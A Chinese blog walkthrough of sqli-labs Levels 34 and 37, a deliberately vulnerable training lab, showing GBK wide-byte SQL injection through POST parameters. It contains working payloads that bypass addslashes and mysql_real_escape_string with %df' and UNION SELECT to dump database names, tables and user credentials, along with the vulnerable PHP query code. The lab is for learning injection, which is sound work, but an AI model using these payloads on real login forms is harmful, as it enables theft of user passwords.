zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 34、37

    Less 34、37 和 Less 32、33、35、36 一样,输入的参数都会被转义,不同在于这 2 关使用 POST 方法提交参数,也是通过宽字节注入进行攻击。

    Less 34

    判断注入类型

    注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。

    由于这里是使用 POST 方法提交参数,使用 Brup 抓包下来,得到提交的参数格式。

    uname=&passwd=&submit=Submit
    

    仍让使用 %df 把斜杠吃掉,网页返回错误信息。

    uname=%df'&passwd=&submit=Submit
    


    把后面的内容注释掉,网页回显登录失败,说明此处有单引号闭合的字符型注入。

    uname=admin%df'--+&passwd=&submit=Submit
    

    获取数据库信息

    判断有几列可用。

    uname=1%df' UNION SELECT 1,2 --+&passwd=&submit=Submit
    

    uname=1%df' UNION SELECT 1,2,3 --+&passwd=&submit=Submit
    


    爆数据库名。

    uname=1%df' UNION SELECT database(),2 --+&passwd=&submit=Submit
    


    爆表名。

    uname=1%df' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+&passwd=&submit=Submit
    


    爆字段名。

    uname=1%df' UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_schema=0x7365637572697479 AND table_name=0x7573657273 --+&passwd=&submit=Submit
    

    获取目标信息

    爆出用户名和密码。

    uname=1%df' UNION SELECT group_concat(concat_ws(0x3a,username,password)),2 FROM security.users--+&passwd=&submit=Submit
    

    SQL 查询语句

    使用 POST 方法提交参数,参数都使用 addslashes() 函数进行转义。

    $uname1 = $_POST['uname'];
    $passwd1 = $_POST['passwd'];
    
    //echo "username before addslashes is :".$uname1 ."<br>";
    //echo "Input password before addslashes is : ".$passwd1. "<br>";
    
    $uname = addslashes($uname1);
    $passwd = addslashes($passwd1);
            
    //echo "username after addslashes is :".$uname ."<br>";
    //echo "Input password after addslashes is : ".$passwd;    
    
    // connectivity 
    mysql_query("SET NAMES gbk");
    @$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    

    Less 37

    判断注入类型

    注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。仍让使用 %df 把斜杠吃掉,网页返回错误信息。

    uname=%df'&passwd=&submit=Submit
    


    把后面的内容注释掉,网页回显登录失败,说明此处有单引号闭合的字符型注入。

    uname=admin%df'--+&passwd=&submit=Submit
    

    获取目标信息

    注入过程和 Less 34 完全一样,爆出用户名和密码。

    uname=1%df' UNION SELECT group_concat(concat_ws(0x3a,username,password)),2 FROM security.users--+&passwd=&submit=Submit
    

    SQL 查询语句

    使用 POST 方法提交参数,参数都使用 mysql_real_escape_string() 函数进行转义。

    $uname1 = $_POST['uname'];
    $passwd1 = $_POST['passwd'];
    
    //echo "username before addslashes is :".$uname1 ."<br>";
    //echo "Input password before addslashes is : ".$passwd1. "<br>";
    
    $uname = mysql_real_escape_string($uname1);
    $passwd = mysql_real_escape_string($passwd1);
            
    //echo "username after addslashes is :".$uname ."<br>";
    //echo "Input password after addslashes is : ".$passwd;    
    
    // connectivity 
    mysql_query("SET NAMES gbk");
    @$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
  • 相关阅读:
    git使用代理
    反汇编一个c程序
    Berkeley套接字
    ubuntu 升级
    ubuntu备份与还原
    struct socket 结构详解
    How sockets work
    wget中文乱码问题
    ubuntu配置开机启动服务
    《javascript设计模式》笔记之第五章:单体模式
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13973945.html
Copyright © 2011-2022 走看看